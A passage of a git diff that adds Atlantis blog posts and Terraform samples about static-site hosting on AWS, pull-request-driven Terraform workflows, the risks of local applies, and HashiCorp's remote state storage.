"sni-only" + } +} diff --git a/runatlantis.io/blog/2018/hosting-our-static-site/code/dns.tf b/runatlantis.io/blog/2018/hosting-our-static-site/code/dns.tf new file mode 100644 index 0000000000..3d1c0a4a57 --- /dev/null +++ b/runatlantis.io/blog/2018/hosting-our-static-site/code/dns.tf @@ -0,0 +1,18 @@ +// We want AWS to host our zone so its nameservers can point to our CloudFront +// distribution. +resource "aws_route53_zone" "zone" { + name = "${var.root_domain_name}" +} + +// This Route53 record will point at our CloudFront distribution. +resource "aws_route53_record" "www" { + zone_id = "${aws_route53_zone.zone.zone_id}" + name = "${var.www_domain_name}" + type = "A" + + alias = { + name = "${aws_cloudfront_distribution.www_distribution.domain_name}" + zone_id = "${aws_cloudfront_distribution.www_distribution.hosted_zone_id}" + evaluate_target_health = false + } +} diff --git a/runatlantis.io/blog/2018/hosting-our-static-site/code/full.tf b/runatlantis.io/blog/2018/hosting-our-static-site/code/full.tf new file mode 100644 index 0000000000..c35ac47529 --- /dev/null +++ b/runatlantis.io/blog/2018/hosting-our-static-site/code/full.tf @@ -0,0 +1,84 @@ +resource "aws_s3_bucket" "root" { + bucket = "${var.root_domain_name}" + acl = "public-read" + policy = < +::: + +Dear Atlantis Community, + +My name is Luke and I'm the maintainer of [Atlantis](https://www.runatlantis.io/), an open source tool for Terraform collaboration. Today I'm excited to announce that I'm joining HashiCorp! + +![](joining-hashicorp/pic1.webp) + +## What Does This Mean For Atlantis? + +In the near term, nothing will change for Atlantis and its users. As a HashiCorp employee I will continue to maintain Atlantis, review pull requests, triage issues, and write code. + +In the long term, HashiCorp and I want to address collaboration workflows for all users of Terraform. We are still working out the details of how Atlantis will fit into the longer term plan, but whatever direction we take, we're committed to keeping Atlantis free and open source. + +## HashiCorp and Atlantis + +Why does HashiCorp want to support Atlantis? + +Today HashiCorp [announced their commitment to provide collaboration solutions to the whole Terraform community](https://www.hashicorp.com/blog/terraform-collaboration-for-everyone). They see the Atlantis project as one manifestation of this vision and understand its importance to many in the Terraform community. They believe that by working together, we can create a solution that will scale from a single user to hundreds of collaborators in a large organization. + +## Why am I joining? + +Those of you who know me, may wonder why I made this decision. It came down to wanting to continue working on Atlantis–and the larger story of Terraform collaboration–and finding a way to support myself. + +In January, 9 months ago, I quit my job at Hootsuite to work **full time** on Atlantis (Atlantis was originally created at Hootsuite by my friend [Anubhav Mishra](https://twitter.com/anubhavm)). I left because I knew that the Terraform community was in need of a solution for collaboration and that with full time development, Atlantis could be that solution. + +During the last 9 months, Atlantis matured into a fully fledged collaboration solution and gained many new users. It has been an amazing time, but I've been working for free! I've always known that for Atlantis to be successful in the long term, I would need to find a way to support myself. + +A couple of weeks ago, as I was playing around with Atlantis monetization strategies, HashiCorp contacted me. I learned that they shared a vision of building Terraform collaboration solutions for the broader community and that they were interested in combining forces. They also assured me that they wanted to do right by the Atlantis community. + +This was a compelling offer versus solo-founding a company around Atlantis: I would be able to focus on coding and product instead of business and sales and I could spend all of my time on Atlantis and the larger story of Terraform collaboration. As a result, I came to the conclusion that joining HashiCorp was the right decision for me and the community. + +## Conclusion + +Atlantis has been a passion of mine for almost two years now. I deeply care about the future of the project and its community and I know that this move will ensure that that future is bright. + +There are probably some questions I haven't answered in this post so please don't hesitate to reach out, either via [Twitter](https://twitter.com/lkysow) or on the [Atlantis Slack](https://slack.cncf.io/). + +I'm excited for the future of Atlantis and Terraform collaboration and I hope you are too. diff --git a/runatlantis.io/blog/2018/joining-hashicorp/pic1.webp b/runatlantis.io/blog/2018/joining-hashicorp/pic1.webp new file mode 100644 index 0000000000..b16f758893 Binary files /dev/null and b/runatlantis.io/blog/2018/joining-hashicorp/pic1.webp differ diff --git a/runatlantis.io/blog/2018/putting-the-dev-into-devops-why-your-developers-should-write-terraform-too.md b/runatlantis.io/blog/2018/putting-the-dev-into-devops-why-your-developers-should-write-terraform-too.md new file mode 100644 index 0000000000..751ad5eb6a --- /dev/null +++ b/runatlantis.io/blog/2018/putting-the-dev-into-devops-why-your-developers-should-write-terraform-too.md @@ -0,0 +1,244 @@ +--- +title: "Putting The Dev Into DevOps: Why Your Developers Should Write Terraform Too" +lang: en-US +--- + +# Putting The Dev Into DevOps: Why Your Developers Should Write Terraform Too + +::: info +This post was originally written on August 29th, 2018 + +Original post: +::: + +[Terraform](https://www.terraform.io/) is an amazing tool for provisioning infrastructure. Terraform enables your operators to perform their work faster and more reliably. + +**But if only your ops team is writing Terraform, you're missing out.** + +Terraform is not just a tool that makes ops teams more effective. Adopting Terraform is an opportunity to turn all of your developers into operators (at least for smaller tasks). This can make your entire engineering team more effective and create a better relationship between developers and operators. + +### Quick Aside — What is Terraform? + +Terraform is two things. It's a language for describing infrastructure: + +```tf +resource "aws_instance" "example" { + ami = "ami-2757f631" + instance_type = "t2.micro" +} +``` + +And it's a CLI tool that reads Terraform code and makes API calls to AWS (or any other cloud provider) to provision that infrastructure. + +In this example, we're using the CLI to run `terraform apply` which will create an EC2 instance: + +```sh +$ terraform apply + +Terraform will perform the following actions: + + # aws_instance.example + + aws_instance.example + ami: "ami-2757f631" + instance_type: "t2.micro" + ... + +Plan: 1 to add, 0 to change, 0 to destroy. + +Do you want to perform these actions? + Terraform will perform the actions described above. + Only 'yes' will be accepted to approve. + + Enter a value: yes + +aws_instance.example: Creating... + ami: "" => "ami-2757f631" + instance_type: "" => "t2.micro" + ... + +aws_instance.example: Still creating... (10s elapsed) +aws_instance.example: Creation complete + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. +``` + +## Terraform Adoption From A Dev's Perspective + +Adopting Terraform is great for your operations team's effectiveness but it doesn't change much for devs. Before Terraform adoption, devs typically interacted with an ops team like this: + +![](putting-the-dev-into-devops/pic1.webp) + +1. **Dev: Creates ticket asking for some ops work** +2. **Dev: Waits** +3. _Ops: Looks at ticket when in queue_ +4. _Ops: Does work_ +5. _Ops: Updates ticket_ +6. **Dev: Continues their work** + +After the Ops team adopts Terraform, the workflow from a dev's perspective is the same! + +![](putting-the-dev-into-devops/pic2.webp) + +1. **Dev: Creates ticket asking for some ops work** +2. **Dev: Waits** +3. _Ops: Looks at ticket when in queue_ +4. _Ops: Does work. This time using Terraform (TF)_ +5. _Ops: Updates ticket_ +6. **Dev: Continues their work** + +With Terraform, there's less of Step 2 (Dev: Waits) but apart from that, not much has changed. + +> If only ops is writing Terraform, your developers' experience is the same. + +## Devs Want To Help + +Developers would love to help out with operations work. They know that for small changes they should be able to do the work themselves (with a review from ops). For example: + +- Adding a new security group rule +- Increasing the size of an autoscaling group +- Using a larger instance because their app needs more memory + +Developers could make all of these changes because they're small and well defined. Also, previous examples of doing the same thing can guide them. + +## ...But Often They're Not Allowed + +In many organizations, devs are locked out of the cloud console. + +![](putting-the-dev-into-devops/pic3.webp) + +They might be locked out for good reasons: + +- Security — You can do a lot of damage with full access to a cloud console +- Compliance — Maybe your compliance requires only certain groups to have access +- Cost — Devs might spin up some expensive resources and then forget about them + +Even if they have access, operations can be complicated: + +- It's often difficult to do seemingly simple things (think adding a security group rule that also requires peering VPCs). This means that just having access sometimes isn't enough. Devs might need help from an expert to get things done. + +## Enter Terraform + +With Terraform, everything changes. Or at least it can. + +Now Devs can see in code how infrastructure is built. They can see the exact spot where security group rules are configured: + +```tf +resource "aws_security_group_rule" "allow_all" { + type = "ingress" + from_port = 0 + to_port = 65535 + protocol = "tcp" + cidr_blocks = ["0.0.0.0/0"] + security_group_id = "sg-123456" +} + +resource "aws_security_group_rule" "allow_office" { + ... +} +``` + +Or where the size of the autoscaling group is set: + +```tf +resource "aws_autoscaling_group" "asg" { + name = "my-asg" + max_size = 5 + desired_capacity = 4 + min_size = 2 + ... +} +``` + +Devs understand code (surprise!) so it's a lot easier for them to make those small changes. + +Here's the new workflow: + +![](putting-the-dev-into-devops/pic4.webp) + +1. **Dev: Writes Terraform code** +2. **Dev: Creates pull request** +3. _Ops: Reviews pull request_ +4. **Dev: Applies the change with Terraform (TF)** +5. **Dev: Continues their work** + +Now: + +- Devs are making small changes themselves. This saves time and increases the speed of the whole engineering organization. +- Devs can see exactly what is required to make the change. This means there's less back and forth over a ticket: “Okay so I know you need the security group opened between server A and B, but on which ports and with which protocol?” +- Devs start to see how infrastructure is built. This increases cooperation between dev and ops because they can understand each other's work. + +Great! But there's another problem. + +## Devs Are Locked Out Of Terraform Too + +In order to execute Terraform you need to have cloud credentials! It's really hard to write Terraform without being able to run `terraform init` and `terraform plan`, for the same reason it would be hard to write code if you could never run it locally! + +So are we back at square one? + +## Enter Atlantis + +[Atlantis](https://www.runatlantis.io/) is an [open source](https://github.com/runatlantis/atlantis) tool for running Terraform from pull requests. With Atlantis, Terraform is run on a separate server (Atlantis is self-hosted) so you don't need to give out credentials to everyone. Access is controlled through pull request approvals. + +Here's what the workflow looks like: + +### Step 1 — Create a Pull Request + +A developer creates a pull request with their change to add a security group rule. + +![](putting-the-dev-into-devops/pic5.webp) + +### Step 2 — Atlantis Runs Terraform Plan + +Atlantis automatically runs `terraform plan` and comments back on the pull request with the output. Now developers can fix their Terraform errors before asking for a review. + +![](putting-the-dev-into-devops/pic6.webp) + +### Step 3 — Fix The Terraform + +The developer pushes a new commit that fixes their error and Atlantis comments back with the valid `terraform plan` output. Now the developer can verify that the plan output looks good. + +![](putting-the-dev-into-devops/pic7.webp) + +### Step 4 — Get Approval + +You'll probably want to run Atlantis with the --require-approval flag that requires pull requests to be Approved before running atlantis apply. + +![](putting-the-dev-into-devops/pic8.webp) + +### Step 4a — Actually Get Approval + +An operator can now come along and review the changes and the output of `terraform plan`. This is much faster than doing the change themselves. + +![](putting-the-dev-into-devops/pic9.webp) + +### Step 5 — Apply + +To apply the changes, the developer or operator comments “atlantis apply”. + +![](putting-the-dev-into-devops/pic10.webp) + +## Success + +Now we've got a workflow that makes everyone happy: + +- Devs can write Terraform and iterate on the pull request until the `terraform plan` looks good +- Operators can review pull requests and approve the changes before they're applied + +Now developers can make small operations changes and learn more about how infrastructure is built. Everyone can work more effectively and with a shared understanding that enhances collaboration. + +## Does It Work In Practice? + +Atlantis has been used by my previous company, Hootsuite, for over 2 years. It's used daily by 20 operators but it's also used occasionally by over 60 developers! +Another company uses Atlantis to manage 600+ Terraform repos collaborated on by over 300 developers and operators. + +## Next Steps + +- If you'd like to learn more about Terraform, check out HashiCorp's [Introduction to Terraform](https://developer.hashicorp.com/terraform/intro) +- If you'd like to try out Atlantis, go to +- If you have any questions, reach out to me on Twitter ([at]lkysow) or in the comments below. + +## Credits + +- Thanks to [Seth Vargo](https://medium.com/@sethvargo) for his talk [Version-Controlled Infrastructure with GitHub](https://www.youtube.com/watch?v=2TWqi7dLSro) that inspired a lot of this post. +- Thanks to Isha for reading drafts of this post. +- Icons in graphics from made by [Freepik](https://www.freepik.com/) from [Flaticon](https://www.flaticon.com/) and licensed by [CC 3.0](https://creativecommons.org/licenses/by/3.0/) diff --git a/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic1.webp b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic1.webp new file mode 100644 index 0000000000..d446a53faf Binary files /dev/null and b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic1.webp differ diff --git a/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic10.webp b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic10.webp new file mode 100644 index 0000000000..5600b65d45 Binary files /dev/null and b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic10.webp differ diff --git a/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic2.webp b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic2.webp new file mode 100644 index 0000000000..dddf61327c Binary files /dev/null and b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic2.webp differ diff --git a/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic3.webp b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic3.webp new file mode 100644 index 0000000000..0968d91418 Binary files /dev/null and b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic3.webp differ diff --git a/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic4.webp b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic4.webp new file mode 100644 index 0000000000..b22d7baa32 Binary files /dev/null and b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic4.webp differ diff --git a/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic5.webp b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic5.webp new file mode 100644 index 0000000000..7ec132b7a9 Binary files /dev/null and b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic5.webp differ diff --git a/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic6.webp b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic6.webp new file mode 100644 index 0000000000..49e2ef5741 Binary files /dev/null and b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic6.webp differ diff --git a/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic7.webp b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic7.webp new file mode 100644 index 0000000000..2ac0d1fa26 Binary files /dev/null and b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic7.webp differ diff --git a/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic8.webp b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic8.webp new file mode 100644 index 0000000000..cda06abea7 Binary files /dev/null and b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic8.webp differ diff --git a/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic9.webp b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic9.webp new file mode 100644 index 0000000000..317f9105d7 Binary files /dev/null and b/runatlantis.io/blog/2018/putting-the-dev-into-devops/pic9.webp differ diff --git a/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally.md b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally.md new file mode 100644 index 0000000000..c87b953355 --- /dev/null +++ b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally.md @@ -0,0 +1,120 @@ +--- +title: Terraform And The Dangers Of Applying Locally +lang: en-US +--- + +# Terraform And The Dangers Of Applying Locally + +::: info +This post was originally written on July 13th, 2018 + +Original post: +::: + +If you're using Terraform then at some point you've likely ran a `terraform apply` that reverted someone else's change! + +Here's how that tends to happen: + +## The Setup + +Say we have two developers: Alice and Bob. Alice needs to add a new security group rule. She checks out a new branch, adds her rule and creates a pull request: + +![](terraform-and-the-dangers-of-applying-locally/pic1.webp) + +When she runs `terraform plan` locally she sees what she expects. + +![](terraform-and-the-dangers-of-applying-locally/pic2.webp) + +Meanwhile, Bob is working on an emergency fix. He checks out a new branch and adds a different security group rule called `emergency`: + +![](terraform-and-the-dangers-of-applying-locally/pic3.webp) + +And, because it's an emergency, he **immediately runs apply**: + +![](terraform-and-the-dangers-of-applying-locally/pic4.webp) + +Now back to Alice. She's just gotten approval on her pull request change and so she runs `terraform apply`: + +![](terraform-and-the-dangers-of-applying-locally/pic5.webp) + +Did you catch what happened? Did you notice that the `apply` deleted Bob's rule? + +![](terraform-and-the-dangers-of-applying-locally/pic6.webp) + +In this example, it wasn't too hard to see. However if the plan is much longer, or if the change is less obvious then it can be easy to miss. + +## Possible Solutions + +There are some ways to avoid this: + +### Use terraform plan `-out` + +If Alice had run `terraform plan -out plan.tfplan` then when she ran `terraform apply plan.tfplan` she would see: + +![](terraform-and-the-dangers-of-applying-locally/pic7.webp) + +The problem with this solution is that few people run `terraform plan` anymore, much less `terraform plan -out`! + + + +It's easier to just run `terraform apply` and humans will take the easier path most of the time. + +### Wrap `terraform apply` to ensure up to date with `master` + +Another possible solution is to write a wrapper script that ensures our branch is up to date with `master`. But this doesn't solve the problem of Bob running `apply` locally and not yet merging to `master`. In this case, Alice's branch would have been up to date with `master` but not the latest apply'd state. + +### Be more disciplined + +What if everyone: + +- ALWAYS created a branch, got a pull request review, merged to `master` and then ran apply. And also everyone +- ALWAYS checked to ensure their branch was rebased from `master`. And also everyone +- ALWAYS carefully inspected the `terraform plan` output and made sure it was exactly what they expected + +...then we wouldn't have a problem! + +Unfortunately this is not a real solution. We're all human and we're all going to make mistakes. Relying on people to follow a complicated process 100% of the time is not a solution because it doesn't work. + +## Core Problem + +The core problem is that everyone is applying from their own workstations and it's up to them to ensure that they're up to date and that they keep `master` up to date. This is like developers deploying to production from their laptops. + +### What if, instead of applying locally, a remote system did the apply's? + +This is why we built [Atlantis](https://www.runatlantis.io/) – an open source project for Terraform automation by pull request. You could also accomplished this with your own CI system or with [Terraform Enterprise](https://www.hashicorp.com/products/terraform). Here's how Atlantis solves this issue: + +When Alice makes her change, she creates a pull request and Atlantis automatically runs `terraform plan` and comments on the pull request. + +When Bob makes his change, he creates a pull request and Atlantis automatically runs `terraform plan` and comments on the pull request. + +![](terraform-and-the-dangers-of-applying-locally/pic8.webp) + +Atlantis also **locks the directory** to ensure that no one else can run `plan` or `apply` until Alice's plan has been intentionally deleted or she merges the pull request. + +If Bob creates a pull request for his emergency change he'd see this error: + +![](terraform-and-the-dangers-of-applying-locally/pic9.webp) + +Alice can then comment `atlantis apply` and Atlantis will run the apply itself: + +![](terraform-and-the-dangers-of-applying-locally/pic10.webp) + +Finally, she merges the pull request and unlocks Bob's branch: + +![](terraform-and-the-dangers-of-applying-locally/pic11.webp) + +### But what if Bob ran `apply` locally? + +In that case, Alice is still okay because when Atlantis ran `terraform plan` it used `-out`. If Alice tries to apply that plan, Terraform will give an error because the plan was generated against an old state. + +### Why does Atlantis run `apply` on the branch and not after a merge to `master`? + +We do this because `terraform apply` fails quite often, despite `terraform plan` succeeding. Usually it's because of a dependency issue between resources or because the cloud provider requires a certain format or a certain field to be set. Regardless, in practice we've found that `apply` fails a lot. + +By locking the directory, we're essentially ensuring that the branch being `apply`'d is `"master"` since no one else can modify that state. We then get the benefit of being able to iterate on the pull request and push small fixes until we're sure that the changeset is `apply`'d. If `apply` failed after merging to `master`, we'd have to open new pull requests over and over again. There is definitely a tradeoff here, however we believe it's the right tradeoff. + +## Conclusion + +In conclusion, running `terraform apply` when you're working with a team of operators can be dangerous. Look to solutions like your own CI, Atlantis or Terraform Enterprise to ensure you're always working off the latest code that was `apply`'d. + +If you'd like to try Atlantis, you can get started here: diff --git a/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic1.webp b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic1.webp new file mode 100644 index 0000000000..56e33a387b Binary files /dev/null and b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic1.webp differ diff --git a/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic10.webp b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic10.webp new file mode 100644 index 0000000000..d3f8046f7c Binary files /dev/null and b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic10.webp differ diff --git a/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic11.webp b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic11.webp new file mode 100644 index 0000000000..d8f30438b2 Binary files /dev/null and b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic11.webp differ diff --git a/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic2.webp b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic2.webp new file mode 100644 index 0000000000..702c5e14ee Binary files /dev/null and b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic2.webp differ diff --git a/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic3.webp b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic3.webp new file mode 100644 index 0000000000..1931d85587 Binary files /dev/null and b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic3.webp differ diff --git a/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic4.webp b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic4.webp new file mode 100644 index 0000000000..6b2c2149f7 Binary files /dev/null and b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic4.webp differ diff --git a/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic5.webp b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic5.webp new file mode 100644 index 0000000000..36218014f4 Binary files /dev/null and b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic5.webp differ diff --git a/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic6.webp b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic6.webp new file mode 100644 index 0000000000..ea78d58e6f Binary files /dev/null and b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic6.webp differ diff --git a/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic7.webp b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic7.webp new file mode 100644 index 0000000000..44ba595bbd Binary files /dev/null and b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic7.webp differ diff --git a/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic8.webp b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic8.webp new file mode 100644 index 0000000000..3b80ecff50 Binary files /dev/null and b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic8.webp differ diff --git a/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic9.webp b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic9.webp new file mode 100644 index 0000000000..15529d2506 Binary files /dev/null and b/runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally/pic9.webp differ diff --git a/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage.md b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage.md new file mode 100644 index 0000000000..7bb270e273 --- /dev/null +++ b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage.md @@ -0,0 +1,157 @@ +--- +title: 4 Reasons To Try HashiCorp's (New) Free Terraform Remote State Storage +lang: en-US +--- + +# 4 Reasons To Try HashiCorp's (New) Free Terraform Remote State Storage + +::: info +This post was originally written on April 2nd, 2019 + +Original post: +::: + +Update (May 20/19) — Free State Storage is now called Terraform Cloud and is out of Beta, meaning anyone can sign up! + +HashiCorp is planning to offer free Terraform Remote State Storage and they have a beta version available now. In this article, I talk about 4 reasons you should try it (Disclosure: I work at HashiCorp). + +> _Sign up for Terraform Cloud [here](https://goo.gl/X5t5EM)._ + +## What is Terraform State? + +Before I get into why you should use the new remote state storage, let's talk about what exactly we mean by state in Terraform. + +Terraform uses _state_ to map your Terraform code to the real-world resources that it provisions. For example, if I have Terraform code to create an AWS EC2 instance: + +```tf +resource "aws_instance" "web" { + ami = "ami-e6d9d68c" + instance_type = "t2.micro" +} +``` + +When I run `terraform apply`, Terraform will make a “create EC2 instance” API call to AWS and AWS will return the unique ID of that instance (ex. `i-0ad17607e5ee026d0`). Terraform needs to record that ID somewhere so that later, it can make API calls to change or delete the instance. + +To store this information, Terraform uses a state file. For the above code, the state file will look something like: + +```json{4,7} +{ + ... + "resources": { + "aws_instance.web": { + "type": "aws_instance", + "primary": { + "id": "i-0ad17607e5ee026d0", + ... +} +``` + +Here you can see that the resource `aws_instance.web` from our Terraform code is mapped to the instance ID `i-0ad17607e5ee026d0`. + +So if Terraform state is just a file, then what is remote state? + +## Remote State + +By default, Terraform writes its state file to your local filesystem. This is okay for personal projects, but once you start working with a team, things get messy. In a team, you need to make sure everyone has an up to date version of the state file **and** ensure that two people aren't making concurrent changes. + +Enter remote state! Remote state is just storing the state file remotely, rather than on your filesystem. With remote state, there's only one copy so Terraform can ensure you're always up to date. To prevent team members from modifying state at the same time, Terraform can lock the remote state. + +> Remote state is just storing the state file remotely, rather than on your filesystem. + +Alright, so remote state is great, but unfortunately setting it up can be a bit tricky. In AWS, you can store it in an S3 bucket, but you need to create the bucket, configure it properly, set up its permissions properly, create a DynamoDB table for locking and then ensure everyone has proper credentials to write to it. It's much the same story in the other clouds. + +As a result, setting up remote state can be an annoying stumbling block as teams adopt Terraform. + +This brings us to the first reason to try HashiCorp's Free Remote State Storage... + +## Reason #1 — Easy To Set Up + +Unlike other remote state solutions that require complicated setup to get right, setting up free remote state storage is easy. + +> Setting up HashiCorp's free remote state storage is easy + +Step 1 — Sign up for your [free Terraform Cloud](https://app.terraform.io/signup) account + +Step 2 — When you log in, you'll land on this page where you'll create your organization: + +![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic1.webp) + +Step 3 — Next, go into User Settings and generate a token: + +![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic2.webp) + +Step 4 — Take this token and create a local ~/.terraformrc file: + +```tf +credentials "app.terraform.io" { + token = "mhVn15hHLylFvQ.atlasv1.jAH..." +} +``` + +Step 5 — That's it! Now you're ready to store your state. + +In your Terraform project, add a `terraform` block: + +```tf{3,5} +terraform { + backend "remote" { + organization = "my-org" # org name from step 2. + workspaces { + name = "my-app" # name for your app's state. + } + } +} +``` + +Run `terraform init` and tada! Your state is now being stored in Terraform Enterprise. You can see the state in the UI: + +![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic3.webp) + +Speaking of seeing state in a UI... + +## Reason #2 — Fully Featured State Viewer + +The second reason to try Terraform Cloud is its fully featured state viewer: + +![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic4.webp) + +If you've ever messed up your Terraform state and needed to download an old version or wanted an audit log to know who changed what, then you'll love this feature. + +You can view the full state file at each point in time: + +![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic5.webp) + +You can also see the diff of what changed: + +![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic6.webp) + +Of course, you can find a way to get this information from some of the other state backends, but it's difficult. With HashiCorp's remote state storage, you get it for free. + +## Reason #3 — Manual Locking + +The third reason to try Terraform Cloud is the ability to manually lock your state. + +Ever been working on a piece of infrastructure and wanted to ensure that no one could make any changes to it at the same time? + +Terraform Cloud comes with the ability to lock and unlock states from the UI: + +![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic7.webp) + +While the state is locked, `terraform` operations will receive an error: + +![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic8.webp) + +This saves you a lot of these: + +![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic9.webp) + +## Reason #4 — Works With Atlantis + +The final reason to try out Terraform Cloud is that it works flawlessly with [Atlantis](https://www.runatlantis.io/)! + +Set a `ATLANTIS_TFE_TOKEN` environment variable to a TFE token and you're ready to go. Head over to to learn more. + +Conclusion +I highly encourage you to try out the new free Remote State Storage backend. It's a compelling offering over other state backends thanks to its ease of set up, fully featured state viewer and locking capabilities. + +If you're not on the waitlist, sign up here: . diff --git a/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic1.webp b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic1.webp new file mode 100644 index 0000000000..50d4156d52 Binary files /dev/null and b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic1.webp differ diff --git a/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic2.webp b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic2.webp new file mode 100644 index 0000000000..fe15cbf47e Binary files /dev/null and b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic2.webp differ diff --git a/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic3.webp b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic3.webp new file mode 100644 index 0000000000..b448df066d Binary files /dev/null and b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic3.webp differ diff --git a/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic4.webp b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic4.webp new file mode 100644 index 0000000000..79418e0b3e Binary files /dev/null and b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic4.webp differ diff --git a/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic5.webp b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic5.webp new file mode 100644 index 0000000000..3c0086d447 Binary files /dev/null and b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic5.webp differ diff --git a/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic6.webp b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic6.webp new file mode 100644 index 0000000000..3be25b55b5 Binary files /dev/null and b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic6.webp differ diff --git a/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic7.webp b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic7.webp new file mode 100644 index 0000000000..bf38895ebc Binary files 